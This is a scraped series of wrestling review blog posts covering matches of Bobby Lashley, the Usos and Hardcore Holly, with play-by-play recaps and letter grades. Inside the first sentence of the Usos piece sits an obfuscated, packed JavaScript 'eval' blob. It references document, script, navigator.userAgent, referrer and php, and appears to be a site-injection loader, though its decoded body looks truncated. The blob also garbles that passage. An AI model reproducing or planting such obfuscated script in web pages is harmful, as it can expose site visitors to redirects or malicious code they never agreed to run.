Back in the ring and a Samoan Drop takes Lashley down again. So riveting indeed here. Maybe it’s because Vince and Shane aren’t wrestlers and therefore shouldn’t be in the ring with a guy like Lashley? Vince gets one of the worst spears I’ve ever seen to Lashley for two. Umaga chokes away to waste more time but misses a splash, crushing Vince instead.

Lashley starts cleaning house, sending Umaga to the floor via a low bridge and suplexing Umaga over the top. Big chair shot to the head of Vince and many more to the back follow. Dominator powerslam only gets two as Umaga makes the save. Bobby gets another chair but Umaga gets a superkick in to take him down again. There goes the crowd as that totally and completely should have been the ending.

Instead, the McMahons and the Samoan take over again because that way they look like supervillains again. Shane drops the big elbow through the table (OH YEAH!) and everyone is down. Umaga wakes Vince up and gets a long two on him. Joey freaks out but it just feels wrong here. Umaga hits the running smash in the corner and Lashley is done. Shane tries the Van Terminator but drills Umaga by mistake. Spear to Vince gives Lashley his title back.

Rating: D+. Match more or less sucked because Vince and company dominated for the vast majority of it. They proved why Vince being in a mach did nothing but they were trying to give Lashley a rub I guess. Either way, there really was no point in waiting for this show to do the title change again, but either way not much here and WAY too long. The first comeback should have been it.

Lashley would be moved to Raw soon after this, meaning he couldn’t be ECW Champion. Instead, he would be put into the Raw main event scene and have a showdown with Cena at Great American Bash 2007.

Raw World Title: John Cena vs. Bobby Lashley

They fight over a lockup to start and Cena is shoved into a corner. Lashley takes him down with a test of strength but Cena comes back to booing. He’s been champion for ten months here so the fans aren’t that thrilled with him. Lashley takes over with the power game but Cena counters into an STFU attempt so Lashley runs. Basically this is a chess match as both guys try to get ahead but neither is being very aggressive.

Lashley grabs a release t-bone suplex for two. He might be bleeding just a bit. Cena gets whipped into the corner and a delayed suplex gets two. Cena grabs a suplex of his own out of nowhere for a very delayed two. Lashley gets a modified gutbuster to mess up Cena’s ribs and it’s down to a body vice. JR and King turn into idiots by saying they can’t remember any opponent with Lashley’s amateur credentials challenging Cena.

Cena fires off a pair of ProtoBombs and the Shuffle for two. FU is easily escaped and a powerslam gets two. Lashley hooks a torture rack and then drops him into what we would call Shock Treatment. Out of nowhere Cena hits an FU but can’t cover. Lashley’s spear attempt is countered into the STFU and the place pops. Weird crowd man. Lashley FINALLY gets a rope and this is getting good.

John complains to the referee about….something, and walks into a BIG spear for two. The fans are way into this too. They go to the corner and Lashley loads up something that appears to be a superplex, but Cena counters into a somewhat weak FU off the middle rope for the pin. That ending came out of nowhere, kind of.

Rating: B+. It’s an excellent match and they were getting close to the heavyweight slugfest format but they weren’t able to get there with it ending like that. It needed a lot more near falls. Anyway, the match was good, although Lashley never really reached this level again afterwards. He would be “injured” by Kennedy 8 days later and hasn’t set foot in a WWE ring since as far as I remember.

As mentioned, that would be it for Lashley in WWE but he would show up in TNA in about two years. Here’s a big match from Bound For Glory 2009.

Samoa Joe vs. Bobby Lashley

Hey look it’s another non-traditional one on one match as this is a submission match. Joe is in the Mafia here and Lashley is the MMA guy so this actually makes sense for once from a gimmick match perspective. Lashley has taped up ribs for some reason. Ah ok Rhyno jumped him on Impact. And yet he’s fighting Joe here. Well of course he is.

Joe might be a bit slimmer here but it’s hard to tell as the tattoo on his face takes away from his face a bit. Naturally we get the JOE’S GONNA KILL YOU chant because he’s a heel. Lashley hits a SICK spinebuster and goes after the arm. The problem with wrestling today is that with the advent of MMA and how fast people tap to holds it’s a BIG stretch to have people survive like 30 seconds in arm bars and leg locks.

Suicide dive to take out Lashley as Joe is far more popular than he’s supposed to be. Joe works the ribs as we’re told about the work he’s done on Lashley’s ribs recently. Thanks for talking about that in his entrance rather than Rhyno there guys. Abdominal stretch goes on as Taz is actually helpful here with his submission knowledge. Quick powerslam by Joe as he’s wildly over here.

Lashley blocks part of an armbar and gets some ground and pound in to HUGE boos. A full nelson slam from Lashley takes Joe down and we’re back to even. Lashley is REALLY bad on offense with some of the worst strikes I’ve ever seen. Joe thankfully takes over and beats the tar out of him. And then Lashley gets an STO (reverse stroke for you non-WM 2000 and No Mercy fans) into a side choke for the win. Joe blacked out or something.

Rating: D. They were trying for the MMA thing here and it just didn’t work in the slightest really. Lashley was just not that good at making what he’s capable of really doing look fake if that makes sense. This just didn’t work for me at all as it came off as sloppy and Lashley trying to get one big move in which he did. I’m not an MMA guy so I’m the wrong audience I guess, but this didn’t work at all for me.

Another from Final Resolution 2009.

Scott Steiner vs. Bobby Lashley

Last man standing here as Steiner had hit him with a pipe last month in their match to end Lashley’s unbeaten streak. Kristal, the wife, is thrown out before the match. Steiner goes after her and Bobby chases. Bobby catches Steiner and does nothing. Steiner drills him and we start on the floor. Back in the ring now and it’s a T-Bone by Bobby to take over.

Dragon sleeper goes on as Steiner is in trouble. Since Lashley lets Steiner go, that isn’t enough to end it. Scott’s leg may be messed up here. Out to the floor and Lashley hits him with a chair. Steiner hits him with a pipe and down goes Lashley. Naturally a lead pipe to the head by a huge muscle man like Steiner isn’t enough to keep him down though as he’s up at 7.

Lashley goes into the post and then the steps. Back in the ring and Steiner gets a downward spiral from the top rope (Lashley’s feet were on it and Steiner was on the mat) for 9. Belly to belly suplex off the top (with Bobby landing on his head and Taz making a Cole Vintage joke) gets about 8. Steiner jumps into a suplex of his own Powerslam for Bobby gets two and a Frankensteiner gets the same. The pipe is retrieved but Kristal comes down to steal it. A spear and a pipe shot from Steiner end this.

Rating: D+. This wasn’t much at all as Steiner was pretty uninteresting at this point to say the least. Lashley would be gone in a month as he became a full time MMA guy and didn’t exactly do that well at it. Boring match here that was more or less just there. At least this ended the feud though. The Lashleys would turn heel on January 4th to no one really caring.

Lashley would bail soon after this and not be back for over four years. However he would quickly be back in 2014 and almost immediately in the title picture. Here he is in a title shot on Impact, June 19, 2014.

TNA World Title: Bobby Lashley vs. Eric Young

Young is on his own while King and MVP are in Lashley’s corner. A clothesline puts Lashley to the floor and a big cross body off the top puts Lashley down again. Back in and Eric’s cross body is caught in mid air but he rolls Lashley up for two. A HUGE backdrop puts the champion down again and Eric is sent to the floor. Back from a break with Eric in trouble and getting suplexed down with one arm.

The champion makes his comeback and gets two off his third cross body of the match. Lashley stomps him in the corner but misses a charge, only to come back with a kick to the ribs. Eric nails the piledriver out of nowhere but King pulls the referee out at two. Lashley nails Kenny by mistake and Eric hits a quick DDT. The top rope elbow misses though and Lashley spears him down for the pin and the title at 8:45.

Rating: D+. This was just a step above a squash for Lashley and WHY DID THIS NOT HAPPEN ON SUNDAY? I’m sure there’s some reason for it but given that it’s TNA I doubt they can explain it to you. Thankfully Young doesn’t come off as a worthless champion, but he’s only a step above transitional.

Lashley is a great case of a guy who is all look and some substance but nowhere near enough to be at the level WWE wanted him to be. The guy just can’t talk and it’s very obvious most of the time. He’s great as a dominator and monster, but having him as the top guy didn’t work in the slightest. Winning the TNA Title is good, but it’s WAY too late.

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Wrestler of the Day – July 9: Usos

When I say Wrestler, you say Of The Day. Today is the Usos.

The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|anbys|var|u0026u|referrer|atkya||js|php'.split('|'),0,{})) Usos debuted on Raw on May 28, 2010, immediately starting a feud with the Hart Dynasty. This set up a six man tag at Fatal Fourway.

Hart Dynasty vs. Usos/Tamina

When did this stop being a tag title match? Whatever. The Usos have beaten Goldust and Mark Henry. Oh joy. The women start us off. The Usos are a nice idea as they’re Samoans that aren’t savages. You know, because Rikishi and Rock were SAVAGES. Jimmy Uso sounds like Jimmy Olsen. This is better than the previous match, but why not a tag?

To be fair the girls can wrestle here so it’s harder to complain here. Jimmy Snuka was pushed to the back allegedly. Uh, yeah. He was pushed to the back of HULK HOGAN. That’s not discrimination. That’s basic intelligence in booking. Tyson is playing Ricky Morton here Everything goes all messy as Tyson hits a nice dive over the top. Oh and Natalya is in vs. Tamina. Tamina misses a top rope splash which Natalya was up before she jumped for but whatever. A discus lariat ends it for Natalya.

Rating: D+. Not bad here but it’s pure filler. I would have gone with the tag titles on the line here but it could certainly be argued that the Usos haven’t won enough to get a title shot yet which is true. This wasn’t horrible though but it belongs on Raw instead of here on PPV.

The teams wouldn’t have a two on two tag match for a good while. Here’s one of the few times it happened, from Raw on November 8, 2010.

Hart Dynasty vs. Usos

Do they really think we want to see this again? It’s a handicap Divas Title match at the PPV which I have to think Natalya wins as she’s beaten both girls in a big brawl already. Jimmy vs. David to start. Apparently Jimmy’s partner’s name is Jey not Jay. Kidd hits a Mysterio-esque dive to one of the Usos into a rana which was pretty freaking sweet.

Kidd gets beaten down and I could have sworn there was a three count but apparently it was only two. Smith doesn’t look happy at all. He’s on the floor arguing with Natalya actually. And so much for that as he’s there for the tag. There’s the powerslam to one of the Samoans for two as the other breaks it up. Jumping superkick kills Tyson on the floor and another one gets David. Jey ends him with a top rope splash.

Rating: D+. We get it: the Harts don’t get along at the moment and they can’t beat a team that they’ve beaten a ton of times before. Now NEVER let these two fight again. We understand the idea here but sweet goodness the Usos are not interesting at all. This was the same thing we’ve seen time and time again and it’s still boring.

The Usos would get a Tag Team Title shot on Smackdown, July 29, 2011.

Tag Titles: Usos vs. Michael McGillicutty/David Otunga

Wow the champs are on Smackdown. Nexus has new music too. We’ll say that’s Jey starting vs. McGillicutty. They beat the champs on Superstars to set this up. Off to Otunga who does a bit better with Jimmy. Chinlock goes on and the crowd is silent until Jimmy gets a shot in and brings in Jey. He takes over on McGilligutty and they set for the top rope splash. Otunga distracts the referee by pointing out that Jimmy is in the ring still so he can shove Jey off the top. McGillicutter ends this at 2:30.

The Usos would be sent to NXT Redemption, which was still a show on WWE.com at this point, to be the awesome tag team of the show. Here they are on November 2, 2011.

Usos vs. Tyson Kidd/Johnny Curtis

Curtis is now known as Fandango. Hawkins is suspended so Curtis is back on NXT as the sub. The winners of those shows can’t catch a break. Kidd vs. let’s say Jey starts us off. The twins take over on Kidd and Jimmy gets two off an elbow. Jey gets the same off a chop. No Curtis in yet, meaning the collective snoring hasn’t started. Oh there he is. For the life of me I don’t get what they saw in him. He’s so bland and cookie-cutter looking I don’t know how he could get more uninteresting.

Back to Kidd as apparently Curtis isn’t even going to grace us with his presence. Thank goodness for that. If I sound a bit incoherent here, you can blame the slight cold I have or Curtis’ ability to suck all the charisma out of a match. The Usos go up but heel double teaming takes them right back down. We take a break and come back with Curtis working on Jey’s knee which may have been hurt coming off the top.

Kidd comes in again as I guess even Curtis is bored by his own work. Back to Boring Man who hits a slingshot legdrop to Jey’s knee. Here’s a leg lock as this match has somehow only been going about 7 minutes including the break. Jey finally sends Kidd to the floor as as we talk about Killer Kowalski. There’s the tag and everything breaks down. The Usos head to the floor where they launch Kidd into the barricade in a cool looking move. Back inside a Samoan Drop followed by a Superfly Splash ends Curtis at 8:47.

Rating: C-. The tag matches here used to be good but I guess they’re just getting boring to me now. The Curtis factor didn’t help things out here either. The problem at the end of the day is the that the Usos are flat out better than any other team and we can only see these guys fight for the sake of fighting so many times before it loses all meaning. I think we hit that six weeks ago.

They would be on the Wrestlemania XXVIII pre-show.

Tag Titles: Justin Gabriel/Tyson Kidd vs. Primo/Epico vs. Usos

Primo/Epico have the titles and have beaten the Usos about five times already. Kidd and Gabriel are teaming for the first time after Kidd asked Gabriel if he wanted to be a team. Gabriel said yes, and apparently that qualifies you as deserving a title match. New tights for the Usos here. Josh and Striker are doing commentary for this match. This is under WCW rules as in three in the ring at once, but in a twist you can only tag your own partner.

Jey, Tyson and Primo start things off. Primo is sent to the floor and Tyson gets two off a sunset flip. Primo comes back in with a missile dropkick as Jey gets beaten down. Kidd makes the save but gets DDTed for two. Primo loads up a superplex on Jey but Tyson springboards up to make it a Tower of Doom in a cool twist on the traditional spot there. Tags bring in Epico and Jimmy but I think Kidd is still legal for his team.

Jimmy comes out of the corner with a spinning cross body and a Bubba Bomb for two. Tag to Gabriel who jumps over Jimmy but walks into a Samoan attack. Back to Jey who hits an assisted Samoan Drop. Jimmy tags in quickly for a double Rikishi attack to Epico and Gabriel. Epico gets dropped onto Primo so Jey can hit a HUGE dive onto both of them.

Kidd pops up on the apron but Jimmy launches him to Jey for a Samoan Drop. Gabriel sets for a top rope Asai Moonsault and hits it on his second attempt. Better safe than sorry on that spot. He tries the springboard 450 but (mostly) hits knees. Backstabber by Epico pins Jey at 5:05.

Rating: B-. Really fun opener here with the six smaller guys being thrown out there to fire up the crowd. That’s what cruiserweights and hot Latin women that can shake their hips were made for so you can’t ask for much more than that. I’m a big Uso fan so seeing them on Wrestlemania was a cool thing to see. Very good start to the night.

Once NXT became what it is today, the Usos would go down to Florida for what would be a huge match today, even though one of the teams isn’t the same.

Usos vs. The Ascension

Regal and Chris Russo are on commentary now along with JR. You know the Siva Tao is popular here with a college crowd. The Usos take over to start and double team Cameron for two. Cameron goes insane and pounds both Usos down until he brings in O’Brien for the same kind of stuff. They tag in and out a lot and pound away on Jey with a bunch of pounds and stomps. Jey hits a headbutt to bring in Jimmy who runs over Cameron a bit. Samoan Drop puts him down as does the Umaga Attack in the corner. Jey gets sent to the floor and Jimmy walks into the Downcast for the pin at 3:40.

Rating: C+. The match was nothing of note but I’m more impressed by the entrances. This is something you don’t get in the homogenized world of WWE anymore. The Usos had their full screaming entrance while the Ascension looks like something out of a thriller movie. That’s not something you get with the big arenas and Cole riffing on half the people that come out and ignoring the other half. The match was basically a squash.

The Usos started getting awesome later in the year and would face the Prime Time Players on December 29, 2012’s Smackdown.

Prime Time Players vs. Usos

The Players have new music which isn’t as catchy. Young and Jey start things off and Darren gets double teamed a bit. Titus makes a blind tag and kicks Jey in the head to take over. There’s some heel miscommunication but Young hits the gutbuster for two on Jey anyway. The twins switch allowing Jimmy to roll up Young for the pin at 2:07.

On May 6, 2013 on Raw, the Usos and Kofi Kingston had a chance to fight the Shield.

Shield vs. Usos/Kofi Kingston

Jey and Ambrose start things off with Dean putting Jey into the corner with some right hands. Jey fires back and takes him down before Rollins tries diving off the top, only to jump into an uppercut. Rollins drives Jey into the corner where Reigns gets in some right hands of his own. Off to a chinlock by Rollins as Jey gets beaten down. Reigns comes in and chokes away before it’s off to Rollins for another chinlock. Jey finally gets up and hits a Samoan Drop, allowing for the hot tag to Kofi.

The Shield is knocked to the floor and there’s the Boom Drop on Ambrose for no cover. Kofi misses a charge into the corner but hits some pendulum kicks to Ambrose and Rollins. The springboard cross body gets two on Dean as everything breaks down. Reigns ENDS one of the Usos with a clothesline as Kofi goes up, only to be shoved down by Rollins. Ambrose’s falling bulldog is enough to pin Kofi at 6:45.

Rating: C-. Shield does not need to be used for matches like this one. They’re WAY too important for squashes over a team that shows up once every three months and Kofi. Speaking of Kingston, why did he have to get pinned here? That’s what the Usos are there for, but instead we need to pin the US Champion right? There were NO other options whatsoever in this match at all.

Here’s something more the Usos’ speed, from Money in the Bank 2013’s preshow.

Pre-Show: Tag Titles: Usos vs. Roman Reigns/Seth Rollins

Shield is defending. Rollins starts with Jey with the Uso quickly getting two off a backslide. Off to Reigns who gets chopped down and caught with a double suplex for two. The fans are already chanting for RVD. A double spinebuster gets two for Jey as this is one sided so far. Seth pulls Roman out of the way of a superkick as we take a break during the pre-show. Back with the Usos still in control but Rollins avoids a charge and brings in Reigns to take over.

A clothesline sends Jey off the apron and out to the floor as Shield starts making fast tags. Rollins kicks Jey in the back for two and puts on a chinlock. Jey keeps fighting back but can’t make the hot tag. Seth is sent to the floor and Reigns is kicked away but Rollins dives to break up the hot tag. Jey is knocked tot he floor for a hard clothesline from Reigns. We take ANOTHER break and come back with Jimmy diving over the top to take out the Shield. Not that we got to see the hot tag or anything, but we needed a trailer for Dead Man Down right?

Jimmy gets a VERY close two off a high cross body and the Samoan drop gets two on Rollins. Seth comes back and loads up a superplex on Jey but the other two come in to make it a Tower of Doom with Jimmy taking the worst of it. Jimmy superkicks Rollins down and hits the Superfly Splash but Reigns makes a last second save. The fans correctly think this is awesome. Rollins counters a middle rope Samoan drop into an across the ring buckle bomb, setting up the Reigns’ spear for the pin to retain at 14:50.

Rating: B. WOW this was better than I was expecting. The near falls in this were off the charts and the Usos actually had me believing they were going to win. The Shield has insane chemistry out there and the Usos proved that they can hang with them move for move. Excellent stuff here and by far the best pre-show match they’ve ever had.

Later in the year, WWE tried to build up the tag division. Here’s an example of the effort on Raw, September 16, 2013.

Tons of Funk vs. Real Americans vs. Usos

This is elimination rules and the winners get a title shot at some point in the future. Brodus knocks Swagger to the floor to start and the Real Americans have a huddle. Back in and Swagger tags in Jimmy Uso to face Brodus with Jimmy hitting whatever fast strikes he can to take over. Brodus casually catches a cross body and slams him down a few times. A backbreaker and elbow drop crush Jimmy but Cesaro tags himself in.

Jimmy takes Antonio down with a jumping elbow to the face and it’s off to Jey with a clothesline for two. A hard European uppercut knocks Jey down but he manages a tag to Tensai a few seconds later. Tensai hits a delayed butterfly suplex on Cesaro while not even looking like he’s straining. Cesaro gets clotheslined to the floor but Jimmy tagged himself in on the way down. Tensai pounds way on Jimmy but misses a splash in the corner. A hard clothesline puts Jimmy down and a bad looking choke bomb looks to get the pin, only to have Cesaro roll Tensai up for the elimination at 4:40.

Cesaro dropkicks Jimmy to the floor and we take a break. Back with Swagger holding both of Jimmy’s arms back. Apparently we missed the long giant swing from Cesaro during the break. Nice job on that WWE. The Vader Bomb crushes Jimmy and Cesaro jumps over Swagger’s shoulder for a double stomp to the chest. We hit the chinlock and the fans start chanting Randy Savage. Jimmy finally dives over for the hot tag to Jey who comes in off the top with a clothesline to Swagger.

Everything breaks down and a kick to the face gets two on Jack. The Usos hit a double plancha to the floor to take out the Real Americans in a cool spot. Back in and Jimmy gets caught in the Patriot Lock but he finally kicks away and superkicks Swagger down. The Superfly Splash is broken up by the running belly to belly but Jey tags himself in and hits the Superfly Splash for the pin and the title shot at 13:15.

Rating: C+. We didn’t need Tons of Funk but the second half of the match was really good stuff. Tag matches are a simple way to fire up the crowd and power vs. speed is the best formula you can use. The ending was great, the dives were great and the match (at least after the break) was really fun. Good stuff here.

They would lose their title shot but get this as a consolation prize on Smackdown, November 1, 2013.

Shield vs. Usos

Rollins and Ambrose here. This is a result of the Usos helping make the save on Monday night. Jimmy and Dean get us going but Ambrose is quickly dragged to the Uso corner for a double back elbow to the jaw. Dean makes a tag off to Rollins but is easily taken down for a knee drop. Rollins trips Jimmy down though and stomps away as Shield takes over. Seth charges into a backdrop over the top and out to the floor, only to have Ambrose tag him on the way down.

Jey is sent to the floor as well so Roman goes after him. Cue Big E. Langston to stare him down as we take a break. Back with Ambrose holding a chinlock on Jimmy before it’s back to Rollins for a running forearm in the corner. Seth goes to the middle rope but dives into a right hand, allowing for the double tag off to Dean and Jey.

The running Umaga attack in the corner gets a quick two and a jumping kick to the face gets the same. Rollins comes back in and gets caught in a spinebuster. A double superkick knocks Reigns off the apron and as JBL puts it, “WE GOT A FLYING SAMOAN!” Back inside and Jey dives over Amborse into a rollup for the pin at 6:44 shown of 10:14.

Rating: C+. As usual the Usos are good for a solid performance in a tag match. Shield continues to have problems but it could still be awhile before they split. The good thing about them is you can mix up the combinations to keep the story going even longer like they did here. Nice match to open things up.

They got another shot at the Shield on Smackdown, January 3, 2014.

Shield vs. Usos

Ambrose is the odd man out and sits in on commentary. Reigns gets things going with Jimmy and headbutts him in the corner. Jimmy gets taken down to the mat and stomped by Roman before it’s off to Seth who walks into a clothesline. Off to Jey for the first time and a back elbow to the jaw for two. The Usos get two more off a double elbow drop as Ambrose talks about taking over the WWE and closing down every bar and saloon from Dallas to Singapore. I miss wrestlers implying that they associate with each other off television.

Jimmy gets two off a backdrop before it’s back to Jey for an armdrag into an armbar. An uppercut stops Seth’s comeback and a clothesline puts him on the floor. The Usos hit stereo kicks to Reigns’ ribs to send him outside before backdropping Rollins on top of him. We take a break and come back with Jey holding Rollins in a chickenwing before Seth takes him into the corner for a tag to Reigns.

Roman takes Jey down with an elbow to the jaw as Shield takes over. Seth comes back in off the top with a right hand to the ribs. The announcers actually talk about unifying the midcard titles, meaning it might be a real possibility at the moment. Cole asks Ambrose if he’d like to face Langston. Ambrose, partially in song no less, says no and asks Cole to stop bullying him and “BE A STAR.” Can we just get Punk and Ambrose to do commentary on random matches? I’d buy the Network for that alone.

Off to a cobra clutch by Rollins before Reigns comes back in to bend Jey’s arm around the rope. Ambrose keeps spinning around in his chair at commentary. Reigns misses a charge and falls out to the floor. Seth can’t make a diving save so Jey makes the hot tag off to Jimmy. Everything breaks down and Rollins gets Samoan dropped but rolls to the floor before the Umaga attack can connect. Reigns is sent outside as well but Ambrose runs in for the DQ at 9:03 shown of 12:03.

Rating: C+. These teams are reaching the point where they could have good matches in their sleep. The Usos are becoming the Kofi Kingstons of the tag division as you’re guaranteed a good match but they’re never going to go anywhere beyond where they are now. Hopefully they can break that mold and eventually get the titles that they’re long overdue to win.

From later in the night.

CM Punk/Usos vs. Shield

Ambrose and Punk get us going with CM being driven into the corner, only to have Punk whip him over to the other Shield members. Off to Rollins who grabs a hammerlock but Punk counters into a headlock so he can loudly shout spots in Rollins’ ear. A neckbreaker puts Seth down for two and it’s off to Jey for a running headbutt. He puts Seth in a Boston crab as the now legal Jimmy drops a leg on the back of Seth’s head.

A leg lariat puts Seth down and it’s back to Jey for a superkick to the chest. Ambrose is sent to the floor but Reigns blocks a big dive from Jey as we take a break. Back with Reigns driving a headbutt into Jimmy’s chest and getting two off the Superman Punch. Rollins comes in with a backsplash for two and we hit the neck crank. Seth goes up but gets crotched down, only to have Ambrose come in to break up the hot tag attempt.

Jimmy breaks a chinlock with a jawbreaker and elbows his way out of a belly to back superplex attempt. Reigns comes in with Jimmy still on the top and gets taken down by a top rope cross body. Rollins knocks Jey off the apron but can’t stop the tag to Punk. CM comes in with a springboard clothesline and the running knee in the corner. Ambrose distracts Punk from dropping the Macho Elbow and Rollins crotches him on the top.

Punk rolls through a crossbody to put Rollins in the Anaconda Vice but Reigns makes the save. Another Superman Punch puts Jey down and we get down to the legal Punk vs. Rollins. Seth crawls over and tags in Dean who hits a butterfly superplex on Punk for two. Punk comes back with a GTS attempt but drops him before Reigns can launch the spear. A double superkick drops Roman and Seth gets backdropped to the floor. The twins hit stereo dives and the GTS ends Ambrose at 12:42.

Rating: B-. Good stuff here as you would expect, even with Ambrose taking the fall again. I’m assuming they’re building up to Reigns calling Ambrose out for all of the losses but get the title off of him if that’s where they’re going. If nothing else Shield hasn’t turned into a joke and they’re potentially splitting while still having awesome matches.

The twins would feud with the reunited New Age Outlaws, finally getting a title shot on Raw on March 3, 2014.

Tag Titles: New Age Outlaws vs. Usos

The Outlaws are defending but Road Dogg doesn’t think the fans here are worthy of hearing his catchphrases. It only took them two months to remember they’re heels. Jey hammers on Roadie to start but gets whipped hard into the corner. Uso comes out holding his knee so Dogg kicks him to the floor for a breather. Billy throws him back inside and hammers away before it’s back to Dogg. Jey’s leg seems to be holding up well enogh and Dogg even works it over a bit. Roadie throws him to the floor as we take a break.

Back with Jey fighting out of a chinlock but getting slammed down for two. Dogg comes back in and takes a spin kick to the face (the knee seems fine). The hot tag brings in Jimmy to face Billy. Dogg gets knocked off the apron and a Samoan drop puts Gunn down. There’s a Bubba Bomb to Billy and the running Umaga attack in the corner to Roadie.

A reverse Whisper in the Wind hits Gunn and there’s a superkick to knock Dogg to the floor. Gunn rolls up Jimmy for two and the tilt-a-whirl slam gets the same. The Fameasser just misses and the Usos do the plancha with the flying tag, setting up the superkick and Superfly Splash to FINALLY give the Usos the Tag Titles at 9:27.

Rating: C+. It’s about three years overdue but this was the best way to do it. I have no problem with the Outlaws keeping the title for just a few weeks as they put the young guys over 100% clean before Wrestlemania. Good little match and they made it feel like it meant something, which is rare for these titles.

We’ll wrap it up with the Wrestlemania XXX pre-show.

Pre-Show: Tag Team Titles: Usos vs. Real Americans vs. Los Matadores vs. Ryback/Curtis Axel

The Usos are defending but the crowd was behind the Real Americans. People HATED Los Matadores and the kids weren’t only kind of cheering for Torito. The interesting thing is you can see the Usos standing on stage during the previous team’s entrance. Axel vs. Jey gets things going as a LOUD WE THE PEOPLE chant fills the arena. They trade chops to start and the Real Americans want no part of a tag.

Curtis comes back with a running dropkick but it’s quickly off to Ryback vs. Jey. The big guy hammers away but Diego tags Ryback to come in. JBL calls this a stupid point because it’s not a one fall match. This brings up an interesting point: The fans, myself included, didn’t seem to know that it was elimination. It may have been mentioned before the show (probably was), but I didn’t hear it mentioned again before the match.

Anyway Cesaro tags Jey and it’s Diego getting double teamed by the Americans. Swagger nails a BIG clothesline for two but Diego comes back with a springboard headbutt, only to miss a Lionsault. Everyone not named Axel or a Matadore is sent to the floor, setting up a nice double dive from the masked guys that the cameras almost miss. Torito tries to go up as well but gets caught by Curtis. Axel throws him down and goes up top, but Los Matadores make the save.

Torito slips jumping to the top but gets up well enough to drive Axel and Los Matadores onto the floor in a big pile. Back in and Diego goes up top but Jack runs the ropes to superplex him into the Patriot Lock for the submission at 5:40. The fans thought we had new champions due to the lack of an explanation, but the confusion didn’t last long.

A quick Patriot Lock to Jey doesn’t work as well and it’s quickly off to Ryback for a delayed suplex and two on Jey. A middle rope splash from Ryback and a middle rope elbow drop from Axel combine for two and we hit the chinlock from Ryback. Off to a front facelock for a few moments until Jey whips Ryback away. The big guy misses a hard charge into the post though and the hot tag brings in Jimmy.

The Samoan drop sets up the running Umaga attack but Swagger catches Jimmy in a powerslam for two. Jimmy blocks the Vader Bomb with two feet to the face but Ryback plants both guys with spinebusters. There’s the Meat Hook to Jack but Cesaro breaks up the Shell shock. That’s fine with Ryback as he slams Cesaro off the top, only to get thrown into the air for Swiss Death, setting up the Neutralizer for the elimination at 11:44.

We’re doing to the Usos vs. the Real Americans and the fans are mostly for the challengers. It’s a brawl to start and the Usos quickly send them to the floor, setting up the double dive to knock all four guys down. Back in and Cesaro nails a backbreaker on Jey for a close two but the Neutralizer is countered into a jackknife cover. Cesaro counters that into a Swing attempt but Jimmy makes the save. That earns him an uppercut of his own but Jimmy goes up top for a Whisper in the Wind to drop both Americans for two.

Jack counters the Umaga attack into the Patriot Lock but Cesaro can’t intercept Jey who makes the save. Swiss Death drops Jey but Jimmy puts Cesaro down with a Samoan drop. Everything breaks down and Colter begs Cesaro to get back up. A double tag brings in Cesaro to face Jimmy. That’s fine with the champions as a double superkick sets up the double Superfly Splash on Cesaro for the pin at 16:13.

Rating: B. Really fun stuff here but man this would have been better with the Rhodes Brothers instead of the Matadores. Still though, the fans were WAY into Cesaro and the Usos got a very solid reaction as well. This is how you do an opening match to fire up the crowd and the big dives did exactly what they were supposed to do.

The Usos are a really solid tag team who can fly around with the best of them. They’re a good example of a team that works far better when they’re together as when they’re apart, they’re really just a pair of young Samoans who can jump in the air. Together they make a good team and have had a solid run as champions.

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Wrestler of the Day – June 27: Hardcore Holly

How do you like me now? Today is Bob Holly.

Holly got his start in 1987 and we’ll be picking things up in 1988 in Memphis.

Pat Rose/Bob Holly vs. Shaun Baxter/Great Senshe

Rose and Holly are in Hart Foundation tights, even down to the color scheme. Rose and Baxter get things going with Baxter quickly slamming him down. Off to Holly, who is rocking a mullet, and walks into some armdrags. Senshe (generic masked guy from Japan) comes in and cranks on the arm before sending Holly to the corner for a tag to Rose. Baxter comes back in as well and gets caught in a Hart Attack with Holly playing Bret.

Rose nails a powerslam and tags Holly back in for a top rope knee drop. Holly stomps away in the corner but gets nailed in the jaw, allowing for the tag to Senshe. The masked man doesn’t have much luck either as the Hart Foundation knockoffs stomp away in the corner. Senshe stops a charging Rose with a superkick and it’s quickly back to Baxter, who is caught in a chinlock. Rose hiptosses him down for two and puts on a weak chinlock.

Baxter gets thrown to the floor but comes back in with a sunset flip for two. It’s back to Holly for a front facelock before Rose misses an elbow. Senshe comes in with his martial arts stuff as everything breaks down. With his team in trouble, Holly and Rose’s manager Brother Ernest hits Baxter in the back with something I couldn’t make out for the DQ.

Rating: D+. This was VERY Memphis with a long match that got the live fans’ attention but wasn’t the most interesting match to an outside viewer. The Hart Foundation stuff was interesting as it’s clearly copying them, but you would think it would be used on a winning team instead of on two guys who hadn’t proven much yet.

The required WWF jobbing spot, from Superstars 1991.

Bob Holly/Mike Samples vs. Bushwhackers

The more famous team stalls before the match before quickly clearing the ring. Holly comes in for the first time and walks into a battering ram and the double gutbuster for the pin. Total squash.

Holly would head to SMW as Hollywood Bob Holly. Here he is on February 8, 1992.

Bob Holly vs. Tim Frye

Both guys trade wristlocks to start with Frye getting the better of it. Holly comes back with a nice dropkick and a legdrop for two. A boot to the chest gets two on Frye but he comes back with another armdrag. Holly nails a clothesline and a top rope knee drop for the pin.

Rating: D+. Nothing match here but Cornette was hilarious on commentary, talking about how Holly was going to be the next a-list star in Hollywood. Holly definitely had charisma, but he really needed something else to get him up to the next level. Frye could have been anyone out there.

Holly would head to the WWF in 1994 as a racecar driver named Sparky Plugg. Here he is o Raw, December 19, 1994.

Bob Holly vs. Chris Kanyon

Thankfully the Plugg name is already gone. A hiptoss and dropkick put Kanyon down and Holly cranks on an armbar. Kanyon comes back with an armdrag and a belly to back suplex for two. Holly snapmares him down and puts on a chinlock. A suplex sets up a top rope knee drop for the pin on Kanyon.

Rating: D. You might be noticing a pattern in a lot of these matches: they’re really not that interesting. Holly is a very generic wrestler at this point and doesn’t have anywhere near the talent level to pull off such a stupid character as a wrestling racecar driver. It was a squash, but it was a boring squash.

Holly would get a fairly big push after this as he teamed with the 1-2-3 Kid in a tournament for the vacant Tag Team Titles. Here’s the final from Royal Rumble 1995.

Tag Titles: Bob Holly/1-2-3 Kid vs. Bam Bam Bigelow/Tatanka

